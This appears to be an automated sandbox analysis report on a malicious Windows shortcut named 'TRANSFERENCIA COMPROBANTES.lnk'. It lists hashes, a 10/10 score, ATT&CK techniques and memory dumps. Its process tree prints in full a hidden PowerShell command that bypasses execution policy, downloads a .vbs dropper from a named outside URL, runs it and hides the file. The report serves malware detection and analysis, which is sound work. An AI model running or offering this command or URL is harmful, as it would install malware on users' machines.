a43b59c54921c6b5cc272e0af9917b5973231de9b6d183be381c1820416ce49f

Analysis

max time kernel
121s
max time network
123s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
09-12-2024 05:45

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General

Target

TRANSFERENCIA COMPROBANTES.lnk
Size

2KB
MD5

e03e7eeb288c1f96bb336fe0bfa4cb95
SHA1

e2a53c23480aad659723ee5c8542105955787ac1
SHA256

a43b59c54921c6b5cc272e0af9917b5973231de9b6d183be381c1820416ce49f
SHA512

c142377b9ad169f06e62836c4152b916bfff5b4d64487005fcca5dc2d213a9aeaa5a8d6d2fcfbbbbc13b6016aaf9c4ff0b108cff3af98d28cc85d1502478ce2a

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2876	powershell.exe
6	2876	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2876	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2876	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2876	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2308 wrote to memory of 2876	2308	cmd.exe	32
PID 2308 wrote to memory of 2876	2308	cmd.exe	32
PID 2308 wrote to memory of 2876	2308	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\TRANSFERENCIA COMPROBANTES.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:2308
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass zhdfboopntjfmdjtgfdjqbinrdfgfdho -WindowStyle -Command hiddeN consent.exe;(new-object System.Net.WebClient).DownloadFile('https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs','pafdfgz.vbs');./'pafdfgz.vbs';(get-item 'pafdfgz.vbs').Attributes += 'Hidden';
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2876

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2876-38-0x000007FEF547E000-0x000007FEF547F000-memory.dmp

Filesize
4KB

Download
memory/2876-39-0x000000001B5B0000-0x000000001B892000-memory.dmp

Filesize
2.9MB

Download
memory/2876-40-0x0000000001EE0000-0x0000000001EE8000-memory.dmp

Filesize
32KB

Download
memory/2876-41-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp

Filesize
9.6MB

Download
memory/2876-42-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp

Filesize
9.6MB

Download
memory/2876-43-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp

Filesize
9.6MB

Download
memory/2876-44-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp

Filesize
9.6MB

Download
memory/2876-45-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp

Filesize
9.6MB

Download
memory/2876-46-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp

Filesize
9.6MB

Download